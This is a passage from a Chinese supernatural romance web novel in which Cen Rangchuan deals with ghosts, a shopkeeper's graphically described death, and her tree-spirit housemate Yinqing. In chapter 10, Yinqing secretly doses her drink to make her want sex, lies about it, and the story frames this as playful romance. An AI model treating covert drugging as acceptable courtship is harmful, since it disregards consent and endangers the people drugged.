脚步声杂乱,叫声此起彼伏。
岑让川按下银清的肩膀,微微直起身体往饲料店看去。
或黄或棕的饲料撒落,铺出沙土质感。
货架上,脏兮兮的其中一片扇叶扭曲脱离了本体,顺着货架缝隙插入底下人的身体。
天花板上墙皮与混凝土一同坠下,露出一个黑漆漆的洞。
洞里密密麻麻似萤火虫的绿幽猫眼一闪而逝。
“救……我……”
她再次听到老板的求救。
岑让川收回望向天花板的目光,往尘雾散尽的倒塌货架处看去。
他头身仅剩一层皮连着,扇叶如刀插在他的喉间,切割出碗口般大的伤口。腰身被开裂的钢板货架贯穿,钉在地上。
汩汩鲜血流出,在他身下染出不规则暗红。
他眼睛睁大到不可思议的弧度,眼珠迸出,即将脱眶。
口鼻淌血,嘴巴张地极大,嘴角张裂斜豁到下颚。
“救……”
“我……”
8. 黑猫
一天内进两次警局。
第一次因为她在招待所洗澡,银清莫名来找,结果揪到一个偷窥洗澡的猥琐男。
后来银清说:“你看到的婴孩没有恶意,是为了提醒你,有人在偷窥。”
岑让川:“它怎么不干脆点把我吓死?”
“把你吓死了……”银清微微拧眉,“难道你要下去当它继母?”
想起那婴孩诡异的爬行姿态,岑让川已经对婴儿有深深的心理阴影。
再来一次,她小命估计要交代在浴室。
第二次。
作为目击证人。
店外监控完美证明岑让川和银清只是两个无辜路人。
岑让川据实交代入店后经历的一切,只是隐瞒了看到灵异猫的事。
出来后天色已经黑透。
现在。
他们不仅猫粮没买到,连手机也坏了。
岑让川麻木地往手机店走去。
手机店店主诧异地看到她又来了,不由问:“小姑娘,你又要买什么吗?”
“……”岑让川掏出手机,放到柜台,“坏了。”
他接过来,在柜台后边工作台上拆开手机,顿时被残留的雨水淋了一手:“进水,电路板坏了。这个不在保修期,我帮你修一修吧。”
“修的话多少钱?”
“嗯……进水严重,内屏也坏了,主板更换……需要八百。”
“重新买一部,这部回收。”岑让川果断道。
破手机新机才花了两千出头,修七修八也不知道会不会经常出故障。
到时候时间成本太高,还不如换一部。
这家店亮堂堂的,收费标准也挂在墙上,左面墙还有话费流量套餐。
灯条照亮柜台,有几十部当季手机在售卖,按照镇子上居民的购物水平定价,均价在两千五左右,最贵的超不过五千。
柜台里边有点乱,放着各类生活杂物。
天花板上还有一台悬挂的台式电视,年代久远,旧时代的遗留物在这现代的装修下有些格格不入。
此刻,上面正播放当地新闻。
女记者身穿工作服,站在屏幕前端用家乡话播报。
[今天下午三点左右,发生了一件骇人听闻的事件。有两名市民进入饲料店购买猫粮,发现该店猫粮是三无产品后与该店店主发生争吵。该女子发现饲料异常,从袋子中拽出一具猫尸后,店主突发腰疾倒下。与此同时,因年久失修,该店受潮严重,悬吊在天花板上的风扇坠落,导致该店主意外死亡。据本台记者调察,该店店主生前喜爱虐杀猫狗,曾因恶性事件入狱两次……]
“哎嘛,终于死了。”手机店店主一边说一边把岑让川指的手机放在柜台上,“来,小姑娘,看看这个,跟你今天用的手机一样型号,就是颜色不同,淡青色的,你看看喜不喜欢。”
“都行,就这个吧。”岑让川心痛地说。
一天就折了一千块钱。
她的一百万也不是大风刮来的啊!
这都是她的精神损失费!
偏偏这个时候,银清拽拽她的衣角,指着电视说:“我要那个,你给我买。”
宅子是她前世留下的园子,钱也是她前世留下的金条,银清也是她前世留下的“冤家”。
他身无分文,光剩一张脸和身材,语气那叫一个理直气壮。
软饭硬吃是吧?
岑让川悄摸瞪他,比他还横:“家里穷,没法给你买。给你买部手机自个刷着玩吧。”
“这个……很贵吗?”银清犹豫地问,“要一百多万?”
店主“噗嗤”笑出声:“你要是想要便宜的,明天去旧货市场淘一个二手的嘛,几百块就可以买到。我这个电视才花了几十。”
银清听完,语气愈发坚定:“我要电视。”
“你看我像电视不?”岑让川忍住不翻白眼,“咱那破地方,水没有电没有,要想装电视你先把水电搞上吧。”
店主好奇心起,现在家家户户哪还有不通水电的?
又不是贫困地区。
他看二人面生,多问了句:“你们住哪啊?是哪家的孩子?”
“噢,我和他一块住那边的老宅子。”岑让川没想瞒镇子上的人。
银清也没说要保密。
听说她住在那个地方,店主不确定地问了句:“凶宅?”
“对,就那。我们来驱鬼的。”岑让川信口胡诌。
“噢噢,原来是你,小镇里都传遍啦,说来了个陌生小姑娘接了大单子敢住凶宅呢。”此时手机数据传输完毕,店主也不跟她多聊,把新买的手机给她,末了又提醒说,“那个凶宅也不是一直没人住,应该有电路水管,你明天去查查,是不是欠费了。”
“好,谢谢大哥。”岑让川住进去几天压根没来得及好好观察,得知这个消息她抗拒凶宅的心理总算减弱几分。
哪个现代人能忍受与世隔绝的生活?
没水没电没WiFi。
银清锲而不舍:“那你后天给我买电视。”
“……”
岑让川:你小子对电视到底有什么执念?
他们出了手机店。
岑让川饿得不行。
她想去找吃的,银清却不让。
“我们回一趟饲料店。”
岑让川:“你脑子没毛病吧?我们刚从警局出来,又要去那?”
他没听说过,凶手会返回凶杀现场吗?
虽然已经确定是意外,但他俩这时候回去也太惹人怀疑了。
至于饲料店老板的死她总觉得哪怪怪的。
太多意外,构成一个必然结局。
她觉得这一切都与银清有关。
岑让川犟不过他,只能跟着他走。
白日明亮的巷子此刻漆黑一片。
路旁还有黑影快速窜过。
蟑螂在地上乱爬。
上午刚发生过惨案,到了晚上附近的商家压根不敢做生意,生怕遇到什么灵异事件。
是以现在这条巷子街上一点亮光都没有。
连路灯也没开。
饲料店依旧是案发现场时散乱的模样。
连暗色血迹都未清除,大片暗色从店内流出,凝结在阶梯下的青石板砖上。
“带我来这做什么?”岑让川回头。
身后空无一人。
银清不见了。
“我靠。”她骂了声,想离开这条黑暗无光的小巷。
刚转身,背后传来一声猫叫。
“喵——”
叫声在黑夜巷中显得格外凄然阴森。
她没有回头,脚踝上却感觉到了点触感,冰冷的皮毛贴在她小腿上,还带着点湿漉。
岑让川做好心理准备,慢慢低头看去。
没了一只眼睛的绿色小猫,嘴里叼着一个小小的像祈福牌一样的东西,像是要给她。
它浑身湿淋淋的,毛发沾着泥土,身形瘦弱,看样子不足两个月。
岑让川紧张地张嘴:“要,要给我吗?”
小猫“喵呜”一声,把祈福牌放在地上,一瘸一拐的折返回去。
它们已经从一堆能压垮人的猫山散得差
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不多了,只剩下零星几只。
“救——我——”
饲料店老板的求救声再次响起。
他像是不知道自己已经死去,望着她求助。
岑让川想到那座绿色的小山,捡起祈福牌,不知道哪来的勇气。
她走过去,缓缓说出银清说过的话:“虐杀生灵之罪,永坠无间地狱。”
他眼睛睁大,不敢置信地凝视她半晌。
“救——我——”
“救我……”
“救我!”
声音蓦地尖利。
腐臭阴风迎面刮来。
岑让川这才看清他被风扇叶切成三截,头身分离仅皮肉相连,腰身斩断。
他下-半/身还在货架那踢蹬挣扎。
上半身牵扯着头朝她爬来。
早已凝固的暗色再次流动,随着他的动作流过来。
“银清!银清!”岑让川吓得大喊,“银清!”
她声音大得能让整条寂静小巷都听到。
偏偏银清就跟从没出现在她身边一样。
岑让川调头想往来时的路上跑,却听到另一个声音。
滴滴嗒嗒——
滴滴嗒嗒——
滴滴——嗒嗒——
水声淅淅沥沥。
昏暗暗的巷子街口,忽而现出一抹红色。
中式秀禾服、红盖头。
飘飘忽忽,没有影子,朝她飘来。
女人呜咽声从盖头下传来。
“帮帮我……”
岑让川后背抵住墙壁,冷汗如雨。
她今晚就不该跟银清那个龟孙来这!
“救——我——”
“帮帮我……”
“喵。”
寂静的巷子,此时此刻喧闹地犹如市集。
求救声凄厉。
新娘声哀叫。
猫叫声阴森。
它们朝她涌来。
毛毛雨飘飘忽忽洒下,她背脊已是一片冰凉。
远处起雾,风把雾气带入黑巷。
正当岑让川以为自己今夜回不去凶宅之时,雾中传来这个年代不会再有的打梆声。
左侧新娘背后有花轿急速奔来,四个纸人面上糊着的颜料氤氲出难看的水痕,分辨不清五官。
纸人掀起轿帘,装上半空中的新娘往另一边巷子口飘去,眼看就要撞上岑让川。
朝自己爬来的饲料店老板身上不知何时出现锁链,一黑一白两道身影若隐若现,拽着锁链要把它拉回去。
岑让川已退无可退。
就在花轿要撞来的那刻,一道黑影出现。
她听到风声,蓦地偏过头去。
一双绿幽幽的双眼扑来,直接挂在她头上。
尖利指甲抓进头皮,温热肚皮覆面,她吃下一嘴毛。
“什么东西!”岑让川忙用手去抓。
好不容易把它扒拉下来,岑让川定睛一看。
这不是银清那王八蛋养的黑猫吗?!
按理说黑猫都长得一样,可它的两个铃铛蛋是耀眼的白色。
只是这几秒。
黑巷异常已然消失。
连饲料店的猫都不见了。
她庆幸之余,又怒火冲冲,抓着黑猫后颈皮说:“老娘明天就带你去绝育!”
“不行。”黑猫张开三瓣嘴,发出的却是成年男子声音。
岑让川怀疑自己受惊过度,幻听了。
她一把把黑猫丢出去,迈开两条腿往这条巷子外跑。
黑猫穷追不舍,边跑边喵喵叫。
9. 她们不是一个人吗?
黎明已过。
天边泛起鱼肚白,草叶沾满露水。
老宅里有股浓郁的草木香气,能引人安眠。
不甚明亮的房间,银清坐在床边,慢慢悠悠地撸猫。
看到她醒了,他这才出声:“卯时过半,怎么就醒了?不睡得……”
岑让川一个鲤鱼打挺,卯足力气把他推倒在床。
她没想到这混蛋看着挺大个子,这么容易就推倒了!
银清后脑磕在床板上,发出一声闷响。
黑猫跳下床,又跳上窗,没一会儿便失去踪迹。
昨夜从巷子跑出,她晚饭都没来得吃,就又莫名其妙回了主屋小楼,莫名其妙睡在这张床上。
岑让川压住他,生气道:“你昨晚丢下我,自个跑哪了?!我跟你说的那个鬼新娘又来了不说,那个饲料店老板又怎么回事!又哑巴了?说话。”
银清摸摸刚刚磕到的地方,倒是不觉得疼,他已经把大部分痛感分裂出去,面对岑让川的怒火,他有点疑惑:“我昨天不是只走了一会儿,就又来找你了吗?”
“你哪回来了!”
“那只猫就是我啊。”银清凝视她,“所以我才说,不能绝育。”
“你的分身为什么还会有动物形态?!”
“是你说,喜欢听话的猫。死后我就分裂出了一只猫的形态。你不喜欢吗?”银清歪头,刻意学着黑猫,“喵?”
“……”
岑让川:这个世界好玄幻。
银清看了她半天,膝盖内侧默默蹭上她的腰,眼中泛出点渴望的欲色:“上次浴室太急,我们这次慢慢来?当作是我清理好前院池塘的奖励,嗯?”
“……”岑让川咬牙,“你上次说跟我签合同,说你以后任我差使……”
银清微微蹙眉,想了好半天才问:“哪次?”
“浴室那次!”
“你吃了我的白果退烧,咱们不是扯平了吗?”银清一副你占了便宜还敢回头要好处的表情看她。
岑让川后知后觉反应过来,自己好像……确实是……
退烧了……
从浴室出来饲料店老板事件冲击力过大,她都忽略自己的身体是什么时候好的。
银清见她半天没动静,他腰腹用力腾空坐起来,将双手搭在她肩上打算吃自助餐。
岑让川没让他得逞,穿鞋下床洗漱。
动作流程,一气呵成。
银清:?
他自己动还不行吗?
他是重欲的人,未曾遮掩。
不然不会第一次与她见面确认是她后随意挣扎下就与她共赴巫山。
前世岑让川是君王,政务繁多,加上后宫佳丽三千。
他刻意勾引,一个月轮到他一次已经算他运气好。
解决欲望的办法有很多。
但他不喜欢别人碰他。
更不喜欢自己一个人做这种事,靠脑补发泄后只会是比欲望更加浓烈的空虚与悲哀,那种强烈的负面情绪会让他想把自己的胸膛剖开,挖出内里的心脏,好让它感受到近似被爱包裹的窒息。
趁她在楼下刷牙。
银清丝毫不气馁追了下去,在她背后不厌其烦地说:“做嘛,反正你也没事,你要是觉得累,我自己动?你看,现在小楼也干净了,只有我们……”
“你还想不想要电视了?!”岑让川烦了,满嘴牙膏沫子还没吐干净就说“今天我要去这边的供电局供水局过户,这破宅子之前有人住你早不说!害我过了几天野人生活。”
“没人住,只有我。”银清见她真无心与自己纠缠,默默将长发扎好,“我怕你来的时候嫌弃宅子太旧,每隔一段时间就要伪造身份把宅子传下来,然后修缮建设……”
他条理清晰地说出维护宅子所需花费的时间和各类项目,包括后来身份证严格进入科学信息时代后怎么适应。
岑让川也终于知道他为什么想要电视。
这样他就可以不出门还能跟上时代发展进步。
哪怕迟钝些,严重点对方也只会把他当成宅男或是智障。
不过……
岑让川奇怪看他一眼:“他们看到你面貌不变不会觉得奇怪吗?”
“他们看不到我真实的样子,除非是将死之人。”
难怪他容貌出色,气质清冷满身书卷气却无人在意。
岑让川听到这,大概明白这几千年他过的是什么样的生活。尤其是进入现代化后他一定用了很长时间去适应日新月异科技发展的变化。
身份证、户口本,他需要每过七八十年重新弄一次,才能确保宅子不会被充公。
把满嘴泡沫吐进野草丛,用矿泉水打湿压缩毛巾擦脸。
做完这一切,她上楼拿合同准备出门。
主屋小楼和门外的一片白玉砖石地已然干净不少,倒终于有几分人气。
她带身份证,刚踹进兜里,正好被兜里的东西硌了下。
岑让川拿出一看,是昨夜小猫给自己的祈福牌。
“对了,这个。”岑让川回头把祈福牌给他,“饲料店猫给我的,这是干什么的?”
“你拿到了呀。”银清从自己手腕上拨下一根和银杏树上一模一样细细的白线。
他用食指与拇指搓成粗绳,穿过上边的小洞。
岑让川听到一种奇怪的声音朝他们这个方向过来,非常奇怪,她只从纪录片里植物生长素材中听到。
银清抬手,往半空中递东西。
她抬头去看,才发现一根树枝弯下枝桠,活过来般收起岔开的枝叶,钻过红绳,自动自觉把祈福牌挂在枝干上。
岑让川想起他说的,问了句:“除去要找你的分身,攒功德我要攒多久?”
总该有个评定标准?
“树上有多少,你就需要补多少。”银清指指那些褪色的祈福牌,“这些都曾是你的子民挂上的。”
还未到季节的银杏树,树叶依旧是绿色的。
在那些绿叶之中,密密麻麻的褪色祈福牌垂挂,风吹过时相互碰撞发出闷响,像一片片风铃。
原先还觉得这破地方有这么一棵银杏树还挺不错,祈福牌和白丝线整得还挺有意境,万万没想到,这是她未来的工作任务。
岑让川:想死,但总觉得该死的另有其人。
她目光不善,移向银清,心中想着要不要给他树底下悄悄淋热水,浇死这棵树。
但她要敢这么做,牢饭等着她。
这宅子虽然是她的,这棵树可是濒危植物。
加上银清已经给她打过预防针,生活在她身边的本体是他,良善派。可他分裂出去的分身可是恨她入骨的。
这千年时光,他分裂出去多少自个都记不清,到时候分身一人一刀,她估计会被戳成筛子被埋到树下做养料。
银清不知道她心中所想,只是看她脸色不好,以为她嫌麻烦,主动说:“我和你一起去。”
岑让川没有拒绝。
路过前院,那块干涸的池塘果然已经被弄干净,杂草枯枝都被清理干净,蓄了满满一池子水。银清应是用了
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什么她不知道的法子弄到的地下水,浑浊不清,估计要过些日子才能沉淀变清澈。
他们一起弄完水电,加价三倍请人进宅子弄网。
主屋小楼墙壁上不能打支架,岑让川心痛得又花了一千来块钱买移动电视架。
一切弄完,总消费六千多块。
岑让川望着银行卡里缩小的数字,真想把银清丢到外头去。
养男人好费钱……
银清站在电视机前,按照说明书按开电源键。
屏幕亮起。
也照亮了他的双眼。
岑让川在宅子外付完钱又打包了份午餐,回来时就看到他站在电视机前一动不动。
银清琥珀色的眼眸亮晶晶的,像一对漂亮的琉璃珠子。
他双手捧着遥控器换台,最终选了个纪录片《动物世界》。
岑让川正心痛那六千多块钱,他现在就算眼波流转,长得再帅也无法安抚她那颗受伤的心。
“你以前怎么不自己买?”岑让川没好气地问。
他要是以前买了,虽然花的是她前世留下来的财产,但至少不会动用她现在的一百万。
银清坐到她身边,开心地挨上来:“没有你的允许,我只敢修缮守着宅子,其他我不敢动,钱我也不敢花……”
“……我前世到底给你灌了什么迷魂汤?让你这么死心塌地?”岑让川捧起肉卷饭正要往嘴里送,一旁传来热烈的视线。
她侧过头去,对上银清的视线。
他盯着她花了十三块钱买的双拼肉卷饭,好奇地问:“这是什么味道?”
岑让川接受他本体是小楼门前的银杏树后,没有太多抵触他的靠近,反正比人类干净。
她用透明塑料勺挖了一勺饭和一片肉卷滴递到他嘴边:“给。”
银清倒也不拒绝,吃下这口饭,仔细感受了下:“米饭有点硬,肉好像有点不新鲜,有点散。你每天吃这些,不会生病吗?”
“我以前吃的更烂。”
国潮包装、黑色塑料袋、三无饮料、好评返现卡。
小作坊出餐质量已把现代人的肠胃锻炼地无比坚强。
短时间内是死不了。
顶多得个急性肠胃炎。
银清细细咀嚼,尝了味道后并没有再吃第二口。
他电视也不看了,起身离开。
岑让川没有注意到他,自顾自一边吃饭一边打开手机。
删除一堆广告推销短信后,打开微信。
消息栏置顶信息有名叫【苏叶】的给她发了三十多条信息。
坏了,这位主看自己这么多天没回信息说不定报警了。
岑让川连信息都没来得及看就手速极快地回了一条[手机坏了,今天才买新的]。
对面秒回:[看我给你发的。]
三天前的消息印入眼帘。
[苏叶:你前老板女儿死了!!!]
[苏叶转发公众号,标题:揭秘玉雕商刘家女儿死亡原因。]
原帖已删除。
好在苏叶向来吃瓜冲在最前线。
当即截图给她,还有个聊天记录。
没打码的图片点开,往下划拉时瞬间冲击视觉。
死者死亡的事发地,有道红色身影。
是她曾看到的鬼新娘,正静静地站在刘缔尸身上空。
模模糊糊的身形,陌生又熟悉。
她们……不是一个人吗?!
岑让川被自己的想法惊到,想到那块墓碑,立时感到毛骨悚然。
10. 做恨失败
岑让川第一次到老宅时把小门踹烂了。
现在再去看那个地方,连木屑都剩不下多少,被清理得干干净净,只剩下一个空荡荡的门框。
她没去修理的这几天,听银清说已经跑进来许多东西。
这个“东西”里有什么,他却不说。
岑让川恨不得暴打这棵“谜语树”,又畏于对方非人身份的淫威,敢怒不敢言。
破掉的这道门,好似打破了老宅内部结界。
宅内到了夜里有了些许虫鸣蛙叫,似乎还来了一个萤火虫。
望见那个绿色闪烁的荧光在半空中飘飘浮浮,岑让川一时间拿不准要不要重做一扇门安上。
她还是挺喜欢虫鸣声的。
何况……
萤火虫!
黑夜的精灵。
大城市污染严重,现在城里的孩子大多没见过。
她也是时隔十几年才重逢,实在舍不得。
但想到那个一出现就会有“滴滴嗒嗒”水流音效的女鬼,岑让川二话不说去买了木板锯子钉锤等等一系列工具。
来这装电视装WiFi的师傅最贵的加价五倍才同意来。
听说回去后就发起高烧胡言乱语说有鬼。
这座凶宅在当地镇子上本来就出名,经由师傅们一宣传,凶名更甚。
既然镇子上没人敢来,她就只能自己动手丰衣足食。
搬了张小板凳,岑让川量好木门尺寸后开始锯木头。
长廊下。
放了好几日的的水逐渐澄澈。
今日是晴朗的天气,即将入秋,阳光不减反增,比起平日更加炎热。
水面波光粼粼,映照在墙上的水波纹格外有意境。
银清捧着一碗不知名汤水路过,望见池塘里清澈见底的鹅卵石,微微皱起眉头。
一艘红色巴掌大小的纸船停靠在岸边。
明明水里没有东西,纸船却像漂浮在海面那样不断晃荡。
不,不是没有东西。
银清想去看清楚,水面折射的光刺入眼瞳。
他闭上眼,缓了会后往前走去。
反正不是什么坏东西,他不说也没关系。
银清边走边想。
今天她能不能答应自己?
他都憋了好几天,每次她拒绝,他只能郁闷地打扫宅子发泄精力。
现在,从门口到主屋小楼,一路上都干干净净,一尘不染。
破损的墙面,碎裂的砖瓦通通被修补完毕。
但杂草丛生的花园景观还没来得及收拾,他不知道她喜欢什么花,准备等会问问。
她要是不回答,自己就随便种点。
银清穿过门廊,绕过壁照。
还未走近,他就听到了锯木头的声音。
入门的杂草有点茂盛。
他探头探脑去看。
岑让川穿着灰色牛仔裤,黑灰格子衬衫绑在腰间,露出里面的针织白背心。
她背对着自己,长发扎起,脚踩在小木凳的木板上,锯木头的动作又快又稳,手臂上隐隐现出些肌肉。
银清知道这个时代的女性不像几千年前需要遮掩得严严实实,但第一次看到她穿成这样,动作潇洒利落又兼具力量美,内心又蠢蠢欲动。
不然……
给她下点药吧?
他俩现在相处模式像家族联姻硬绑在一起婚后毫无激情的夫妻,亲一口都做梦好几宿的那种。
岑让川就是那位每天上/床睡觉装死的丈夫,面对貌美如花的他,仿佛被掏空所有欲望,随时能收拾收拾行李上山剃度出家。
银清想着,从口袋里掏出药瓶,当机立断往汤里“加料”。
木屑扑簌簌落了一地。
岑让川丝毫不知后方有棵树在觊觎自己。
她现在只后悔当初自己怎么这么抠门没买个电锯,现在全靠人工,她快累死了。
秋老虎发威,她热得要命。
要不是银清在,她衣服都不想穿。
那棵树长得正人君子又清清冷冷,谁知道居然这么能缠人。
幸好她不是男人,要不然不出一个月就能被榨干。
锯完最后一块木板,她直起身来,腰背有点酸。
还没来得及找纸巾擦汗,一条毛巾递了过来。
“谢……”她下意识道谢,看到是他,不由问:“有事?”
“我做了些凉饮。”他递过去,面不改色。
“……”岑让川盯着汤面上漂浮的不明物,狐疑地问,“这是什么?”
银清顿了顿:“糖粉。”
岑让川依旧戒备:“你喝一口我看看。”
“……不喝就不喝。”银清嘟囔,“还非得怀疑我别有用心,真是好心当作驴肝肺……”
真是自己多心?
岑让川盯了他好一会。
她现在又渴又热,倒是想来一碗凉饮。
见银清要走,她喊住他:“等等,我尝尝。”
触手冰凉的瓷碗被银清一路捧过来,外沿水珠流下,很快沾湿手指。
岑让川拧眉盯着碗里白白绿绿黑黑的东西,上面漂浮的可疑糖粉。
纠结半晌,她问:“你煮的什么东西?”
“巧克力牛奶绿豆汤。我昨天煮好,放深井里晾凉。”银清回答的很快。
岑让川听他说完,不由想这玩意儿,真的能喝吗……
最近银清多了个爱做饭的爱好,把那些奇奇怪怪的菜放到一块做成一盘,让她这只小白鼠试毒。
昨天那碗草莓瘦肉粥让她记忆犹新……
怎么说呢?
腌制过的肉片和草莓她没敢同时咀嚼。
味道太怪了,又咸又酸又甜。
今天……
绿底,黑白两色在汤面氤氲……
银清殷切地望着她。
岑让川脑门冒汗,心想自己真要为了他,冒着喝下有窜稀风险的绿豆汤吗……
如果不喝的话……
她又瞥眼银清,咽咽口水。
他在这守了上千年,好不容易有点兴趣爱好,又是为她的身体健康着想,自己这么不给面子,貌似不太好……
“我突然想起来……”她绞尽脑汁找借口。
银清平静地吐出一个字:“喝。”
岑让川:“……”
万事开头难。
咽下第一口绿豆汤,齁甜。
甜到像是喝完就会得糖尿病。
她怕吐出来会伤害他的小心灵,愣是一口闷了。
银清接过碗,盯着她问:“味道怎么样?”
有没有感到浑身火热,想要糟蹋他的冲动?
这句话银清当然不会问出口。
“太甜了,你放了多少?”她齁得嗓子疼,忙拿起一旁的水杯稀释口中的甜度。
他故意问:“很甜?”
“超甜。”
银清把碗放在石灯上,三步并作两步靠近,眼中有两簇几不可见的小火苗,得手了。
他装作关心,替她擦去嘴角的水色。
抬眼时,眼中欲色愈发浓重。
与此同时,岑让川感到脑子有点晕,身体也有点热。
“我尝尝有多甜。”银清轻易穿过她的防线,抱着她,温凉的唇贴上,镀去一点山泉般的甘甜木汁。
岑让川服了。
这小子一套连招下来就为干这事?
他就不能自己做点传统手工?
非逮着她薅?
“等等……银清,我觉得我们是不是
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该循序渐进?”
当初一上来就搞他,她错了还不行吗?
“你是不是不行?”他咬她耳垂,喑哑到嗓子发紧。
他俩到底谁不行?
只是这关系是不是过了?
“你听我说,现代民风虽然比以前开放,但咱俩这样有点过了。一夜/情那次是我不对。第二次咱俩扯平,这第三次,不能再乱来了!”
这破理由从她嘴里说出来她自己都不信。
纯纯是因为知道他身份后萎靡了。
日一棵树,是什么值得感到骄傲的事吗……
“我给你下药了,你确定不要?”银清琥珀色的浅色眼瞳盯着她问,他眼尾处红得不行,眼睫处更是似描了鲜红眼线。
岑让川:“我就知道你这混球不安好心!”
她气得掐他腰。
银清疼得溢出一声:“疼。”
才一个字,叫得婉转动听,绕梁三日。
“你上辈子做面首的!”岑让川推他。
微风轻拂,他身上自带的植物香气扑入鼻息,迷得岑让川晕晕乎乎。
术业有专攻。
他这手段信手拈来。
五感真是一个不落。
银清见她妥协,迅速单手剥开自己的盘扣。
他边吻边说:“你以前不爱碰我,最多一个月才一次,温存时间半个时辰不到。你知道那个时候我有多孤独吗?你看中我,却只想做伯乐,不愿意越界,要不是我处心积虑……”
他不再说下去,岑让川尝到了一点冰冷的苦咸。
银清心急地让她触摸自己胸口和脖颈:“捂住这里,你杀我的时候,我真的好疼。白天疼,夜里疼。你知不知道……那个时候,我有多恨你。”
由爱故生忧,由爱故生怖。
他满腔爱意倾斜在她身上,却得不到任何回应。
他等她,等了一辈子,等到的却是她持剑夺去他的生命。
岑让川那点恍惚登时变成汗毛直竖。
她前世做的孽,非得让她今世还吗?
就不能再拖一拖,等到下一世?
银清已经迫不及待,她手掌下,他修长的脖颈轻轻震颤,发出类似呜咽的泣声。
“动啊。”银清催促,他几乎整个人贴在她身上,密不可分。
岑让川按住他急迫的动作,才这么一会儿,他盘扣上衣都已经解开。
馥郁的植物香气几乎要将她包裹。
正在这时,兜里的手机不断震动。
岑让川不得不空出一只手去看怎么回事。
她交际圈子小得可怜,除了闺蜜苏叶,只有诈骗电话会打进来。
银清已经在解开他腰上的束缚。
但岑让川看清手机上的官方号码时,一把按住他的手,却恰好按在不该按的地方。
他闷哼一声,径直缠过来。
原以为岑让川是想边亲边安抚。
她却绕过他的腰侧,用力把他扯到一旁。
银清:?
电话接通。
岑让川忙“喂”一声。
银清箭在弦上,好不容易让她同意,怎么可能放弃?
岑让川在看到号码后压根没了那心情。
官方人员的话从听筒里传出:“您好,岑小姐,这里是F市警局给您致电。我的警号是xxxxxx。死者刘缔曾在十五日前给您致电,此案件疑似他杀,请您于明日到局内接受询问……”
岑让川愣住。
刘缔……曾经给她打过电话?
十五日前。
那个时候……
山间破庙,小型泥石流,侏儒风水师……
岑让川死死用手摁住要吃自助餐的银清,冷静道:“好的,我明天会准时到达。”
11. 养他好贵
银清计划没成功,岑让川接到一通电话后没有心思抚慰他,沉默地到一旁继续做门。
好不容易就快要得手的银清被晾在那不上不下,憋得他当天拿起镰刀重新打理花园,去花农那买了花籽回来种。
以前见不着人,日日想,夜夜想。
现在人就在他身边,看得见吃不着,别提多难受。
小门修好时天已擦黑。
银清对着那小药瓶子长吁短叹,顺带端上来一份黑暗料理。
鱼苗版仰望星空。
焦黑的面、死不瞑目的小鱼仔、不详的粉末……
岑让川:“……”
还不如吃小作坊外卖。
她目光移到一旁的药瓶上,银清也随着她的目光去看。
“别看了,不是你想的那种“药”。白果磨成粉,加了点活血的草药,短时间内会觉得燥热。”银清说完,把剩余粉末倒进自己面前的白粥。
岑让川瞪他:“你莫名其妙让我吃这东西干什么?”
“一来,我想要。爱和欲你总得让我满足一样。”银清放下勺子看她,“二来,你来这前些时间,受惊过度,这几日雨季不断,容易导致行经阻塞,气血亏虚。”
岑让川还是怀疑:“真不是那种药?”
“后厨有我研磨后剩余的草药,你可以去看看。”
她不认识草药,看了也没用,但确实感觉白日里有点发热,过后并没有什么特殊感受。
岑让川放下一半的心,去品尝那盘仰望星空。
很怪的味道……
为什么是酸的?
岑让川吃到一半,痛苦面具还没撤下,银清开口说:“对了,这些小鱼老板说是观赏鱼,五块钱一条。”
“……”岑让川从嘴里拖出一根长须须,定睛一看,这不是那叫什么雪仙子的鱼吗?!
“我本想放进池塘,但是池塘里有东西了。这些小鱼放下去也是死,我就想不如把它们做成菜。”
岑让川沉默。
观赏鱼做成菜,真有你的。
几千块的金龙鱼到他手里都能做成一盘菜。
真可谓是众生平等……
不过,池塘里有东西?
她经过那的时候……
空空荡荡不说,池塘里只有水。
黄土暴露,野草丛生。
银清修缮了一半还没真正动工。
月光冷冷清清洒下。
四周无光,手机灯光照进池塘不知怎的,白日里明明清澈见底,此刻黑夜看去却格外幽深。
里面像是真的有什么东西在动,无风静止的环境下,水面却总有波涛涌动。
岑让川本能感到不安,她关掉手机灯,打开手电筒。
“它不想让你看到。”银清倚靠坐在回廊下的木椅上,半个身子探出去。
他的手腕从衣袖中伸出,撒下几片叶子。
本就拉扯浮散的月色愈发支离破碎。
黑洞洞的池塘恍若巨物的深渊大口。
撒下的银杏叶在水中旋转,忽然一下子就像被吸进黑洞,消失不见,水面恢复平静,无波无澜。
岑让川脑门上滴下一滴汗:“它……吃人吗?”
“什么都吃。”银清笑笑,“挺好的,你只要不掉下去,它在能清洁水源,会让宅子里的生态更好。”
“它究竟是什么东西?”
“鱼啊。”
算了,他说好就好吧。
就当养个净水器。
岑让川决定以后不走这条回廊,为了小命着想,她宁愿去走回廊下那条小路,好歹有墙隔着。
她想到什么,问银清:“我到这之后能看到鬼是怎么回事?还有你之前总说攒功德,我究竟要怎么攒?饲料店那次算攒功德吗?”
“去喝茶吗?我慢慢和你说。忘了,宅子里除了桌椅板凳,什么都没有。唉……”银清惆怅地叹口气,“茶盘茶具没有,笔墨纸砚没有,棋盘棋子没有……”
岑让川哪会听不懂他的话:“我带你去买行了吧,走。”
果然,银清抬起头,理好袖口:“嗯,走。我说的那些只要我们徒步走上两个时辰一定能买齐。”
“……两个时辰?”
换算时间,不就是四个小时?
大晚上的他搞拉练呢?
岑让川想到自己还要买电器。
破宅子现在就只有电视机,后厨生火都要靠柴火。
她干脆拉着他出门:“不带你去买那些东西,我带你去买手机。”
小镇做生意的除去一家是二十四小时便利店,其他店大多是九点就开始陆陆续续关门。
而在大城市,九点,夜生活才刚开始。
岑让川带着银清,紧赶慢赶,在手机店闭店的前五分钟终于到达。
店主此时已经在关闭店内灯光。
她忙喊一声:“老板,买手机!”
店主一看是她,乐了:“小姑娘,手机不会又坏了吧?”
“没呢,我给他买。”岑让川把银清拽出来,“要一千多能网购的手机。”
“行,你来看看吧。”店主重新亮灯,“OPPO、VIVO、小米、荣耀,你看看要哪个牌子?”
“过来挑。”她拉过银清,指着那些标价开头是1的手机。
银清原以为她会带自己去买自己要的那些东西,幽怨看她:“我不想要这个。”
“说什么屁话,赶紧选,你要的东西都在这手机里。”
银清没接触过手机,疑惑地问:“都在手机里?那我要怎么拿出来?”
“噗嗤。”店主没忍住笑出声,“这年头还有人不认识手机的挺少见啊。小伙子,买了它,再插卡,下载软件,绑定银行卡,网购最多五天就到。很方便的,你们住的那估计快递员不敢去,放到附近驿站就好啦。”
“宅子附近有驿站?”岑让川好奇。
一旁银清听完店主介绍,已经开始选上。
